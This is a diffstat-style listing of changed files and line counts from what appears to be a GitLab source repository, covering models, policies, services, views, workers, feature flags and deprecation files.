-rw-r--r--app/models/protected_tag/create_access_level.rb1
-rw-r--r--app/models/release.rb3
-rw-r--r--app/models/repository.rb31
-rw-r--r--app/models/resource_event.rb6
-rw-r--r--app/models/resource_label_event.rb5
-rw-r--r--app/models/resource_milestone_event.rb4
-rw-r--r--app/models/resource_state_event.rb5
-rw-r--r--app/models/resource_timebox_event.rb5
-rw-r--r--app/models/synthetic_note.rb2
-rw-r--r--app/models/system_note_metadata.rb6
-rw-r--r--app/models/timelog.rb11
-rw-r--r--app/models/todo.rb14
-rw-r--r--app/models/user.rb61
-rw-r--r--app/models/user_custom_attribute.rb3
-rw-r--r--app/models/user_detail.rb31
-rw-r--r--app/models/users/namespace_commit_email.rb18
-rw-r--r--app/models/work_item.rb2
-rw-r--r--app/models/work_items/parent_link.rb10
-rw-r--r--app/models/work_items/widgets/hierarchy.rb2
-rw-r--r--app/policies/achievements/achievement_policy.rb7
-rw-r--r--app/policies/ci/build_policy.rb6
-rw-r--r--app/policies/ci/job_artifact_policy.rb15
-rw-r--r--app/policies/description_version_policy.rb5
-rw-r--r--app/policies/email_policy.rb5
-rw-r--r--app/policies/group_policy.rb2
-rw-r--r--app/policies/issuable_policy.rb5
-rw-r--r--app/policies/issue_policy.rb11
-rw-r--r--app/policies/merge_request_policy.rb4
-rw-r--r--app/policies/note_policy.rb10
-rw-r--r--app/policies/project_group_link_policy.rb17
-rw-r--r--app/policies/project_policy.rb1
-rw-r--r--app/policies/projects/branch_rule_policy.rb8
-rw-r--r--app/policies/resource_event_policy.rb5
-rw-r--r--app/policies/resource_label_event_policy.rb4
-rw-r--r--app/policies/resource_milestone_event_policy.rb14
-rw-r--r--app/policies/resource_state_event_policy.rb10
-rw-r--r--app/policies/todo_policy.rb10
-rw-r--r--app/policies/user_policy.rb1
-rw-r--r--app/policies/users/namespace_commit_email_policy.rb7
-rw-r--r--app/presenters/ci/build_runner_presenter.rb5
-rw-r--r--app/presenters/packages/nuget/packages_metadata_presenter.rb10
-rw-r--r--app/presenters/packages/nuget/presenter_helpers.rb6
-rw-r--r--app/presenters/project_presenter.rb3
-rw-r--r--app/serializers/ci/downloadable_artifact_entity.rb2
-rw-r--r--app/serializers/ci/pipeline_entity.rb2
-rw-r--r--app/serializers/diffs_entity.rb2
-rw-r--r--app/serializers/diffs_metadata_entity.rb2
-rw-r--r--app/serializers/group_link/group_group_link_entity.rb4
-rw-r--r--app/serializers/group_link/group_link_entity.rb2
-rw-r--r--app/serializers/group_link/project_group_link_entity.rb4
-rw-r--r--app/serializers/issue_entity.rb2
-rw-r--r--app/serializers/merge_requests/pipeline_entity.rb4
-rw-r--r--app/serializers/paginated_diff_entity.rb2
-rw-r--r--app/serializers/remote_mirror_entity.rb2
-rw-r--r--app/services/achievements/base_service.rb20
-rw-r--r--app/services/achievements/create_service.rb25
-rw-r--r--app/services/boards/base_items_list_service.rb6
-rw-r--r--app/services/bulk_imports/create_service.rb13
-rw-r--r--app/services/captcha/captcha_verification_service.rb4
-rw-r--r--app/services/chat_names/authorize_user_service.rb4
-rw-r--r--app/services/ci/create_pipeline_service.rb7
-rw-r--r--app/services/ci/job_artifacts/create_service.rb10
-rw-r--r--app/services/ci/job_artifacts/delete_service.rb3
-rw-r--r--app/services/ci/job_artifacts/destroy_associations_service.rb17
-rw-r--r--app/services/ci/job_artifacts/destroy_batch_service.rb22
-rw-r--r--app/services/clusters/aws/authorize_role_service.rb74
-rw-r--r--app/services/clusters/aws/fetch_credentials_service.rb80
-rw-r--r--app/services/clusters/aws/finalize_creation_service.rb139
-rw-r--r--app/services/clusters/aws/provision_service.rb85
-rw-r--r--app/services/clusters/aws/verify_provision_status_service.rb50
-rw-r--r--app/services/clusters/create_service.rb4
-rw-r--r--app/services/clusters/gcp/fetch_operation_service.rb31
-rw-r--r--app/services/clusters/gcp/finalize_creation_service.rb127
-rw-r--r--app/services/clusters/gcp/provision_service.rb56
-rw-r--r--app/services/clusters/gcp/verify_provision_status_service.rb50
-rw-r--r--app/services/concerns/integrations/project_test_data.rb24
-rw-r--r--app/services/design_management/save_designs_service.rb2
-rw-r--r--app/services/discussions/resolve_service.rb15
-rw-r--r--app/services/discussions/unresolve_service.rb17
-rw-r--r--app/services/draft_notes/publish_service.rb13
-rw-r--r--app/services/environments/stop_stale_service.rb24
-rw-r--r--app/services/files/base_service.rb15
-rw-r--r--app/services/git/branch_hooks_service.rb9
-rw-r--r--app/services/groups/import_export/export_service.rb14
-rw-r--r--app/services/groups/import_export/import_service.rb34
-rw-r--r--app/services/groups/transfer_service.rb5
-rw-r--r--app/services/ide/schemas_config_service.rb4
-rw-r--r--app/services/import/github/gists_import_service.rb10
-rw-r--r--app/services/import/github_service.rb14
-rw-r--r--app/services/integrations/test/base_service.rb4
-rw-r--r--app/services/issuable/discussions_list_service.rb3
-rw-r--r--app/services/issuable_links/create_service.rb2
-rw-r--r--app/services/issues/base_service.rb12
-rw-r--r--app/services/issues/create_service.rb13
-rw-r--r--app/services/lfs/file_transformer.rb16
-rw-r--r--app/services/members/approve_access_request_service.rb2
-rw-r--r--app/services/members/creator_service.rb2
-rw-r--r--app/services/members/destroy_service.rb44
-rw-r--r--app/services/members/update_service.rb59
-rw-r--r--app/services/merge_requests/base_service.rb12
-rw-r--r--app/services/merge_requests/rebase_service.rb21
-rw-r--r--app/services/merge_requests/refresh_service.rb4
-rw-r--r--app/services/merge_requests/update_service.rb2
-rw-r--r--app/services/ml/experiment_tracking/candidate_repository.rb10
-rw-r--r--app/services/notes/build_service.rb2
-rw-r--r--app/services/notes/create_service.rb22
-rw-r--r--app/services/notification_service.rb4
-rw-r--r--app/services/pages_domains/create_service.rb1
-rw-r--r--app/services/pages_domains/delete_service.rb1
-rw-r--r--app/services/pages_domains/retry_acme_order_service.rb1
-rw-r--r--app/services/pages_domains/update_service.rb1
-rw-r--r--app/services/personal_access_tokens/revoke_service.rb19
-rw-r--r--app/services/projects/autocomplete_service.rb2
-rw-r--r--app/services/projects/create_service.rb6
-rw-r--r--app/services/projects/import_service.rb2
-rw-r--r--app/services/projects/refresh_build_artifacts_size_statistics_service.rb19
-rw-r--r--app/services/repositories/housekeeping_service.rb20
-rw-r--r--app/services/search_service.rb19
-rw-r--r--app/services/security/ci_configuration/base_create_service.rb23
-rw-r--r--app/services/security/ci_configuration/container_scanning_create_service.rb4
-rw-r--r--app/services/security/ci_configuration/dependency_scanning_create_service.rb4
-rw-r--r--app/services/security/ci_configuration/sast_create_service.rb12
-rw-r--r--app/services/security/ci_configuration/sast_iac_create_service.rb4
-rw-r--r--app/services/security/ci_configuration/secret_detection_create_service.rb4
-rw-r--r--app/services/service_ping/submit_service.rb8
-rw-r--r--app/services/service_response.rb29
-rw-r--r--app/services/test_hooks/base_service.rb7
-rw-r--r--app/services/todo_service.rb9
-rw-r--r--app/services/users/block_service.rb8
-rw-r--r--app/services/users/signup_service.rb4
-rw-r--r--app/services/users/unblock_service.rb29
-rw-r--r--app/services/work_items/parent_links/create_service.rb2
-rw-r--r--app/uploaders/object_storage.rb1
-rw-r--r--app/validators/json_schemas/cyclonedx_report.json1075
-rw-r--r--app/views/abuse_reports/new.html.haml44
-rw-r--r--app/views/admin/application_settings/_kroki.html.haml2
-rw-r--r--app/views/admin/application_settings/_repository_check.html.haml30
-rw-r--r--app/views/admin/application_settings/_user_restrictions.html.haml1
-rw-r--r--app/views/admin/application_settings/_visibility_and_access.html.haml2
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml4
-rw-r--r--app/views/admin/application_settings/ci_cd.html.haml2
-rw-r--r--app/views/admin/application_settings/general.html.haml2
-rw-r--r--app/views/admin/broadcast_messages/_form.html.haml67
-rw-r--r--app/views/admin/broadcast_messages/_table.html.haml38
-rw-r--r--app/views/admin/broadcast_messages/edit.html.haml28
-rw-r--r--app/views/admin/broadcast_messages/index.html.haml40
-rw-r--r--app/views/admin/dashboard/_stats_users_table.html.haml49
-rw-r--r--app/views/admin/dashboard/index.html.haml9
-rw-r--r--app/views/admin/dashboard/stats.html.haml66
-rw-r--r--app/views/admin/projects/show.html.haml8
-rw-r--r--app/views/admin/runners/edit.html.haml8
-rw-r--r--app/views/admin/spam_logs/_spam_log.html.haml33
-rw-r--r--app/views/admin/topics/index.html.haml1
-rw-r--r--app/views/admin/users/_access_levels.html.haml1
-rw-r--r--app/views/admin/users/_users.html.haml3
-rw-r--r--app/views/admin/users/show.html.haml4
-rw-r--r--app/views/ci/group_variables/_index.html.haml2
-rw-r--r--app/views/ci/status/_badge.html.haml2
-rw-r--r--app/views/ci/variables/_content.html.haml2
-rw-r--r--app/views/ci/variables/_index.html.haml8
-rw-r--r--app/views/clusters/clusters/_advanced_settings.html.haml7
-rw-r--r--app/views/dashboard/todos/_todo.html.haml23
-rw-r--r--app/views/devise/sessions/two_factor.html.haml4
-rw-r--r--app/views/devise/shared/_signup_box.html.haml4
-rw-r--r--app/views/devise/shared/_signup_omniauth_provider_list.haml2
-rw-r--r--app/views/errors/omniauth_error.html.haml26
-rw-r--r--app/views/groups/_delete_project_button.html.haml3
-rw-r--r--app/views/groups/_group_admin_settings.html.haml2
-rw-r--r--app/views/groups/_home_panel.html.haml17
-rw-r--r--app/views/groups/_import_group_from_another_instance_panel.html.haml8
-rw-r--r--app/views/groups/new.html.haml5
-rw-r--r--app/views/groups/settings/repository/show.html.haml2
-rw-r--r--app/views/ide/_show.html.haml2
-rw-r--r--app/views/layouts/_loading_hints.html.haml3
-rw-r--r--app/views/layouts/_page.html.haml7
-rw-r--r--app/views/layouts/_snowplow.html.haml2
-rw-r--r--app/views/layouts/application.html.haml9
-rw-r--r--app/views/layouts/dashboard.html.haml7
-rw-r--r--app/views/layouts/explore.html.haml6
-rw-r--r--app/views/layouts/header/_registration_enabled_callout.html.haml10
-rw-r--r--app/views/layouts/nav/sidebar/_admin.html.haml31
-rw-r--r--app/views/layouts/nav/sidebar/_your_work.html.haml1
-rw-r--r--app/views/layouts/oauth_error.html.haml72
-rw-r--r--app/views/layouts/snippets.html.haml4
-rw-r--r--app/views/notify/access_token_expired_email.html.haml12
-rw-r--r--app/views/notify/access_token_expired_email.text.erb10
-rw-r--r--app/views/notify/access_token_revoked_email.html.haml2
-rw-r--r--app/views/notify/access_token_revoked_email.text.erb2
-rw-r--r--app/views/notify/github_gists_import_errors_email.html.haml19
-rw-r--r--app/views/notify/github_gists_import_errors_email.text.erb12
-rw-r--r--app/views/notify/service_desk_new_note_email.html.haml2
-rw-r--r--app/views/profiles/chat_names/_chat_name.html.haml10
-rw-r--r--app/views/profiles/notifications/_email_settings.html.haml3
-rw-r--r--app/views/profiles/notifications/_group_settings.html.haml2
-rw-r--r--app/views/profiles/preferences/show.html.haml24
-rw-r--r--app/views/projects/_files.html.haml4
-rw-r--r--app/views/projects/_fork_info.html.haml14
-rw-r--r--app/views/projects/_home_panel.html.haml4
-rw-r--r--app/views/projects/_import_project_pane.html.haml8
-rw-r--r--app/views/projects/artifacts/index.html.haml4
-rw-r--r--app/views/projects/blob/_template_selectors.html.haml3
-rw-r--r--app/views/projects/branch_defaults/_branch_names_fields.html.haml2
-rw-r--r--app/views/projects/buttons/_fork.html.haml2
-rw-r--r--app/views/projects/ci/builds/_build.html.haml2
-rw-r--r--app/views/projects/commit/_multiple_signatures_signature_badge.html.haml7
-rw-r--r--app/views/projects/commit/_other_user_signature_badge.html.haml7
-rw-r--r--app/views/projects/commit/_same_user_different_email_signature_badge.html.haml7
-rw-r--r--app/views/projects/commit/_signature_badge.html.haml24
-rw-r--r--app/views/projects/commit/_unverified_signature_badge.html.haml7
-rw-r--r--app/views/projects/commit/_verified_signature_badge.html.haml7
-rw-r--r--app/views/projects/commits/show.html.haml2
-rw-r--r--app/views/projects/feature_flags/new.html.haml2
-rw-r--r--app/views/projects/forks/new.html.haml1
-rw-r--r--app/views/projects/imports/new.html.haml2
-rw-r--r--app/views/projects/issues/_work_item_links.html.haml6
-rw-r--r--app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml7
-rw-r--r--app/views/projects/merge_requests/_merge_request.html.haml1
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml2
-rw-r--r--app/views/projects/merge_requests/_page.html.haml2
-rw-r--r--app/views/projects/milestones/show.html.haml1
-rw-r--r--app/views/projects/ml/experiments/show.html.haml4
-rw-r--r--app/views/projects/pages/new.html.haml18
-rw-r--r--app/views/projects/pipeline_schedules/index.html.haml2
-rw-r--r--app/views/projects/pipelines/_info.html.haml4
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml5
-rw-r--r--app/views/projects/settings/repository/_protected_branches.html.haml2
-rw-r--r--app/views/projects/settings/repository/show.html.haml2
-rw-r--r--app/views/projects/triggers/_index.html.haml27
-rw-r--r--app/views/projects/triggers/_trigger.html.haml37
-rw-r--r--app/views/protected_branches/_branches_list.html.haml6
-rw-r--r--app/views/protected_branches/_create_protected_branch.html.haml2
-rw-r--r--app/views/protected_branches/_index.html.haml6
-rw-r--r--app/views/protected_branches/_protected_branch.html.haml2
-rw-r--r--app/views/protected_branches/shared/_branches_list.html.haml6
-rw-r--r--app/views/protected_branches/shared/_create_protected_branch.html.haml15
-rw-r--r--app/views/protected_branches/shared/_index.html.haml3
-rw-r--r--app/views/protected_branches/shared/_protected_branch.html.haml26
-rw-r--r--app/views/pwa/manifest.json.erb2
-rw-r--r--app/views/search/_category.html.haml2
-rw-r--r--app/views/search/_results.html.haml8
-rw-r--r--app/views/search/_results_list.html.haml2
-rw-r--r--app/views/search/_results_status.html.haml8
-rw-r--r--app/views/search/_results_status_horiz_nav.html.haml20
-rw-r--r--app/views/search/_results_status_vert_nav.html.haml20
-rw-r--r--app/views/search/show.html.haml4
-rw-r--r--app/views/shared/_broadcast_message.html.haml2
-rw-r--r--app/views/shared/_milestone_expired.html.haml7
-rw-r--r--app/views/shared/_milestones_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/_ref_dropdown.html.haml7
-rw-r--r--app/views/shared/admin/_admin_note.html.haml2
-rw-r--r--app/views/shared/doorkeeper/applications/_delete_form.html.haml6
-rw-r--r--app/views/shared/issue_type/_details_content.html.haml6
-rw-r--r--app/views/shared/milestones/_description.html.haml5
-rw-r--r--app/views/shared/milestones/_header.html.haml3
-rw-r--r--app/views/shared/nav/_your_work_scope_header.html.haml6
-rw-r--r--app/views/shared/projects/_list.html.haml2
-rw-r--r--app/views/shared/runners/_runner_type_alert.html.haml2
-rw-r--r--app/views/snippets/edit.html.haml2
-rw-r--r--app/views/snippets/new.html.haml3
-rw-r--r--app/views/snippets/show.html.haml1
-rw-r--r--app/views/users/calendar_activities.html.haml2
-rw-r--r--app/views/users/show.html.haml9
-rw-r--r--app/workers/all_queues.yml66
-rw-r--r--app/workers/chat_notification_worker.rb2
-rw-r--r--app/workers/ci/build_finished_worker.rb1
-rw-r--r--app/workers/ci/initial_pipeline_process_worker.rb12
-rw-r--r--app/workers/cluster_provision_worker.rb16
-rw-r--r--app/workers/concerns/application_worker.rb1
-rw-r--r--app/workers/concerns/git_garbage_collect_methods.rb42
-rw-r--r--app/workers/concerns/update_repository_storage_worker.rb1
-rw-r--r--app/workers/concerns/worker_attributes.rb7
-rw-r--r--app/workers/counters/cleanup_refresh_worker.rb31
-rw-r--r--app/workers/create_note_diff_file_worker.rb2
-rw-r--r--app/workers/database/batched_background_migration/single_database_worker.rb1
-rw-r--r--app/workers/delete_diff_files_worker.rb2
-rw-r--r--app/workers/gitlab/github_gists_import/finish_import_worker.rb14
-rw-r--r--app/workers/gitlab/github_gists_import/import_gist_worker.rb24
-rw-r--r--app/workers/issues/rebalancing_worker.rb2
-rw-r--r--app/workers/merge_request_cleanup_refs_worker.rb2
-rw-r--r--app/workers/merge_request_mergeability_check_worker.rb2
-rw-r--r--app/workers/merge_requests/close_issue_worker.rb2
-rw-r--r--app/workers/merge_requests/create_approval_event_worker.rb2
-rw-r--r--app/workers/merge_requests/create_approval_note_worker.rb2
-rw-r--r--app/workers/merge_requests/create_pipeline_worker.rb8
-rw-r--r--app/workers/merge_requests/execute_approval_hooks_worker.rb2
-rw-r--r--app/workers/merge_requests/handle_assignees_change_worker.rb2
-rw-r--r--app/workers/merge_requests/resolve_todos_after_approval_worker.rb2
-rw-r--r--app/workers/merge_requests/resolve_todos_worker.rb2
-rw-r--r--app/workers/merge_requests/update_head_pipeline_worker.rb2
-rw-r--r--app/workers/migrate_external_diffs_worker.rb2
-rw-r--r--app/workers/new_merge_request_worker.rb2
-rw-r--r--app/workers/pages/invalidate_domain_cache_worker.rb12
-rw-r--r--app/workers/personal_access_tokens/expired_notification_worker.rb18
-rw-r--r--app/workers/pipeline_schedule_worker.rb43
-rw-r--r--app/workers/projects/delete_branch_worker.rb6
-rw-r--r--app/workers/projects/finalize_project_statistics_refresh_worker.rb33
-rw-r--r--app/workers/projects/git_garbage_collect_worker.rb6
-rw-r--r--app/workers/projects/refresh_build_artifacts_size_statistics_worker.rb12
-rw-r--r--app/workers/remove_unreferenced_lfs_objects_worker.rb2
-rw-r--r--app/workers/repository_import_worker.rb7
-rw-r--r--app/workers/run_pipeline_schedule_worker.rb14
-rw-r--r--app/workers/schedule_merge_request_cleanup_refs_worker.rb2
-rw-r--r--app/workers/schedule_migrate_external_diffs_worker.rb2
-rw-r--r--app/workers/stuck_merge_jobs_worker.rb2
-rw-r--r--app/workers/update_merge_requests_worker.rb2
-rw-r--r--app/workers/wait_for_cluster_creation_worker.rb16
-rw-r--r--app/workers/wikis/git_garbage_collect_worker.rb6
-rwxr-xr-xbin/secpick65
-rw-r--r--config/README.md17
-rw-r--r--config/application.rb24
-rw-r--r--config/database.yml.decomposed-postgresql18
-rw-r--r--config/feature_categories.yml11
-rw-r--r--config/feature_flags/development/achievements.yml8
-rw-r--r--config/feature_flags/development/admin_emails_vue.yml8
-rw-r--r--config/feature_flags/development/apple_app_store_integration.yml8
-rw-r--r--config/feature_flags/development/bulk_import.yml8
-rw-r--r--config/feature_flags/development/bulk_update_membership_roles.yml8
-rw-r--r--config/feature_flags/development/cache_project_integrations.yml8
-rw-r--r--config/feature_flags/development/ci_bridge_remove_sourced_pipelines.yml8
-rw-r--r--config/feature_flags/development/ci_build_partition_id_token_prefix.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml8
-rw-r--r--config/feature_flags/development/ci_raw_variables_in_yaml_config.yml8
-rw-r--r--config/feature_flags/development/ci_refactoring_external_mapper.yml8
-rw-r--r--config/feature_flags/development/ci_use_run_pipeline_schedule_worker.yml8
-rw-r--r--config/feature_flags/development/commit_search_trailing_spaces.yml8
-rw-r--r--config/feature_flags/development/critical_security_alert.yml8
-rw-r--r--config/feature_flags/development/delay_for_repository_update_mirror.yml8
-rw-r--r--config/feature_flags/development/dispensable_render.yml8
-rw-r--r--config/feature_flags/development/display_merge_conflicts_in_diff.yml8
-rw-r--r--config/feature_flags/development/environment_search_api_min_chars.yml8
-rw-r--r--config/feature_flags/development/environments_search_logging.yml8
-rw-r--r--config/feature_flags/development/file_line_blame.yml2
-rw-r--r--config/feature_flags/development/github_import_gists.yml8
-rw-r--r--config/feature_flags/development/group_export_ndjson.yml8
-rw-r--r--config/feature_flags/development/group_import_ndjson.yml8
-rw-r--r--config/feature_flags/development/hide_merge_requests_from_banned_users.yml8
-rw-r--r--config/feature_flags/development/incident_event_tags.yml8
-rw-r--r--config/feature_flags/development/issue_type_uses_work_item_types_table.yml8
-rw-r--r--config/feature_flags/development/jira_connect_oauth_self_managed.yml2
-rw-r--r--config/feature_flags/development/jobs_api_keyset_pagination.yml8
-rw-r--r--config/feature_flags/development/limit_assigned_issues_count.yml8
-rw-r--r--config/feature_flags/development/markdown_dollar_math.yml8
-rw-r--r--config/feature_flags/development/move_create_deployments_to_worker.yml8
-rw-r--r--config/feature_flags/development/new_fonts.yml2
-rw-r--r--config/feature_flags/development/optimized_housekeeping.yml8
-rw-r--r--config/feature_flags/development/paginated_mr_discussions.yml8
-rw-r--r--config/feature_flags/development/phabricator_import.yml8
-rw-r--r--config/feature_flags/development/pipeline_name.yml8
-rw-r--r--config/feature_flags/development/prevent_outdated_deployment_jobs.yml8
-rw-r--r--config/feature_flags/development/project_members_index_by_project_namespace.yml8
-rw-r--r--config/feature_flags/development/project_runners_vue_ui.yml8
-rw-r--r--config/feature_flags/development/project_statistics_bulk_increment.yml8
-rw-r--r--config/feature_flags/development/rate_limit_gitlab_shell.yml8
-rw-r--r--config/feature_flags/development/rate_limit_gitlab_shell_by_ip.yml8
-rw-r--r--config/feature_flags/development/rate_limit_issuable_searches.yml8
-rw-r--r--config/feature_flags/development/readme_from_gitaly.yml8
-rw-r--r--config/feature_flags/development/remove_job_token_on_completion.yml8
-rw-r--r--config/feature_flags/development/repository_archive_hotlinking_interception.yml8
-rw-r--r--config/feature_flags/development/reset_merge_error_on_transition.yml8
-rw-r--r--config/feature_flags/development/schema_linting.yml8
-rw-r--r--config/feature_flags/development/sec_mark_dropped_findings_as_resolved_scheduler.yml8
-rw-r--r--config/feature_flags/development/service_desk_new_note_email_native_attachments.yml8
-rw-r--r--config/feature_flags/development/skip_notes_diff_include.yml8
-rw-r--r--config/feature_flags/development/ssh_commit_signatures.yml8
-rw-r--r--config/feature_flags/development/support_group_level_merge_checks_setting.yml8
-rw-r--r--config/feature_flags/development/track_and_raise_delete_source_errors.yml8
-rw-r--r--config/feature_flags/development/update_oauth_registration_flow.yml8
-rw-r--r--config/feature_flags/development/update_vuln_identifiers_flag.yml8
-rw-r--r--config/feature_flags/development/use_api_for_payment_validation.yml8
-rw-r--r--config/feature_flags/development/use_primary_and_secondary_stores_for_repository_cache.yml8
-rw-r--r--config/feature_flags/development/use_primary_store_as_default_for_repository_cache.yml8
-rw-r--r--config/feature_flags/development/validate_release_with_author.yml2
-rw-r--r--config/feature_flags/development/vue_broadcast_messages.yml8
-rw-r--r--config/feature_flags/development/vue_group_select.yml8
-rw-r--r--config/feature_flags/development/your_work_sidebar.yml8
-rw-r--r--config/feature_flags/experiment/show_pages_in_deployments_menu.yml8
-rw-r--r--config/feature_flags/experiment/tier_badge.yml8
-rw-r--r--config/feature_flags/ops/projects_build_artifacts_size_refresh_high.yml8
-rw-r--r--config/feature_flags/ops/projects_build_artifacts_size_refresh_medium.yml8
-rw-r--r--config/feature_flags/ops/suggested_reviewers_internal_api.yml8
-rw-r--r--config/gitlab.yml.example10
-rw-r--r--config/gitlab_loose_foreign_keys.yml4
-rw-r--r--config/initializers/0_marginalia.rb7
-rw-r--r--config/initializers/1_settings.rb8
-rw-r--r--config/initializers/doorkeeper.rb14
-rw-r--r--config/initializers/doorkeeper_openid_connect.rb7
-rw-r--r--config/initializers/gitlab_suggested_reviewers_secret.rb5
-rw-r--r--config/initializers/grape_validators.rb3
-rw-r--r--config/initializers/rspec_profiling.rb29
-rw-r--r--config/initializers_before_autoloader/004_zeitwerk.rb1
-rw-r--r--config/locales/en.yml7
-rw-r--r--config/mail_room.yml2
-rw-r--r--config/metrics/counts_28d/20210216175542_ci_builds.yml2
-rw-r--r--config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml2
-rw-r--r--config/metrics/counts_28d/20210216175556_ci_triggers.yml2
-rw-r--r--config/metrics/counts_all/20210216175525_ci_builds.yml2
-rw-r--r--config/metrics/counts_all/20210216175527_ci_external_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml2
-rw-r--r--config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml2
-rw-r--r--config/metrics/counts_all/20210216175539_ci_triggers.yml2
-rw-r--r--config/metrics/counts_all/20210216181055_projects_with_packages.yml2
-rw-r--r--config/metrics/counts_all/20221209212603_projects_inheriting_apple_app_store_active.yml22
-rw-r--r--config/metrics/counts_all/20221209213642_groups_apple_app_store_active.yml22
-rw-r--r--config/metrics/counts_all/20221209214020_projects_apple_app_store_active.yml22
-rw-r--r--config/metrics/counts_all/20221209233053_groups_inheriting_apple_app_store_active.yml22
-rw-r--r--config/metrics/counts_all/20221209233201_instances_apple_app_store_active.yml22
-rw-r--r--config/metrics/schema.json134
-rw-r--r--config/routes.rb6
-rw-r--r--config/routes/group.rb3
-rw-r--r--config/routes/import.rb2
-rw-r--r--config/routes/uploads.rb4
-rw-r--r--config/security/banned_ssh_keys.yml16
-rw-r--r--config/sidekiq_queues.yml6
-rw-r--r--config/webpack.config.js13
-rw-r--r--danger/ci_templates/Dangerfile15
-rw-r--r--danger/gitaly/Dangerfile4
-rw-r--r--danger/pipeline/Dangerfile6
-rw-r--r--danger/plugins/user_types.rb9
-rw-r--r--danger/user_types/Dangerfile3
-rw-r--r--data/deprecations/14-0-nfs-fot-git-repository-storage.yml2
-rw-r--r--data/deprecations/14-10-dependency-scanning-default-java-version.yml2
-rw-r--r--data/deprecations/14-10-deprecate-toggle-notes-confidentiality.yml2
-rw-r--r--data/deprecations/14-10-old-search-migration-removal.yml2
-rw-r--r--data/deprecations/14-2-deprecation-release-cli.yml2
-rw-r--r--data/deprecations/14-2-deprecation-task-runner.yml2
-rw-r--r--data/deprecations/14-3-database-deprecate-legacy-database-conf.yml2
-rw-r--r--data/deprecations/14-3-deprecation_omniauth-kerberos_gem.yml2
-rw-r--r--data/deprecations/14-3-repository-push-audit-events.yml2
-rw-r--r--data/deprecations/14-3-serverless.yml2
-rw-r--r--data/deprecations/14-5-certificate-based-integration-with-kubernetes-saas.yml2
-rw-r--r--data/deprecations/14-5-certificate-based-integration-with-kubernetes.yml2
-rw-r--r--data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml2
-rw-r--r--data/deprecations/14-5-deprecate-defaultMergeCommitMessageWithDescription-graphql.yml2
-rw-r--r--data/deprecations/14-5-deprecate-opensuse-15-2.yml2
-rw-r--r--data/deprecations/14-5-deprecate-sles-12sp2.yml2
-rw-r--r--data/deprecations/14-5-deprecation-versions-packagetype.yml2
-rw-r--r--data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml2
-rw-r--r--data/deprecations/14-5-disable_strict_host_key_checking.yml2
-rw-r--r--data/deprecations/14-5-geo-deprecate-promote-db.yml2
-rw-r--r--data/deprecations/14-5-geo-deprecate-promote-to-primary-node.yml2
-rw-r--r--data/deprecations/14-5-package-container-registry-api-group-update.yml2
-rw-r--r--data/deprecations/14-5-remove-dependency-proxy-permissions-flag.yml2
-rw-r--r--data/deprecations/14-5-remove-package-pipelines-api.yml2
-rw-r--r--data/deprecations/14-5-remove-pipelines-from-version-field.yml2
-rw-r--r--data/deprecations/14-5-runner-api-status-does-contain-paused.yml2
-rw-r--r--data/deprecations/14-6-Enforce-validation-of-security-schemas.yml2
-rw-r--r--data/deprecations/14-6-container-scanning-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-6-coverage-fuzzing-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-6-dast-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-6-dependency-scanning-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-6-deprecate-types.yml2
-rw-r--r--data/deprecations/14-6-deprecation-license-compliance-api-terms.yml2
-rw-r--r--data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml2
-rw-r--r--data/deprecations/14-6-job_char_limit.yml2
-rw-r--r--data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml2
-rw-r--r--data/deprecations/14-6-sast-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-6-secret-detection-schemas-below-14.yml2
-rw-r--r--data/deprecations/14-7-deprecate-artifacts-keyword.yml2
-rw-r--r--data/deprecations/14-7-deprecate-godep-support-in-license-compliance.yml2
-rw-r--r--data/deprecations/14-7-deprecate-merged_by-api-field.yml2
-rw-r--r--data/deprecations/14-7-deprecate-static-site-editor.yml2
-rw-r--r--data/deprecations/14-7-pseudonymizer.yml2
-rw-r--r--data/deprecations/14-7-sidekiq-metrics-health-check-donfig.yml2
-rw-r--r--data/deprecations/14-8-Elasticsearch-6-8.yml2
-rw-r--r--data/deprecations/14-8-ci-build-variables.yml2
-rw-r--r--data/deprecations/14-8-compliance-required-pipeline-configuration-premium.yml2
-rw-r--r--data/deprecations/14-8-compliance-status-check-api-field.yml2
-rw-r--r--data/deprecations/14-8-deprecate-projectFingerprint-from-PipelineSecurityReportFinding-GraphQL.yml2
-rw-r--r--data/deprecations/14-8-deprecation-secure-dependency-scanning-retire-js.yml2
-rw-r--r--data/deprecations/14-8-enforce-pat-expiration.yml2
-rw-r--r--data/deprecations/14-8-enforce-ssh-expiration.yml2
-rw-r--r--data/deprecations/14-8-geo-deprecate-db-rake-tasks.yml2
-rw-r--r--data/deprecations/14-8-geo-deprecate-replication-detail-routes.yml2
-rw-r--r--data/deprecations/14-8-gitaly-deprecate-legacy-config-options.yml2
-rw-r--r--data/deprecations/14-8-gitaly-remove-per-repository-election.yml2
-rw-r--r--data/deprecations/14-8-graphql-ids.yml2
-rw-r--r--data/deprecations/14-8-grpc-proxy.yml2
-rw-r--r--data/deprecations/14-8-iteration-started-field.yml2
-rw-r--r--data/deprecations/14-8-protect-cns-chs.yml2
-rw-r--r--data/deprecations/14-8-protect-vulnerability-check.yml2
-rw-r--r--data/deprecations/14-8-remove_ff_push_rules_supersede_code_owners.yml2
-rw-r--r--data/deprecations/14-8-request-profiling.yml2
-rw-r--r--data/deprecations/14-8-runner-api-active-field-replaced-with-paused-breaking-change.yml2
-rw-r--r--data/deprecations/14-8-runner-api-status-filter-does-accept-active-or-paused.yml2
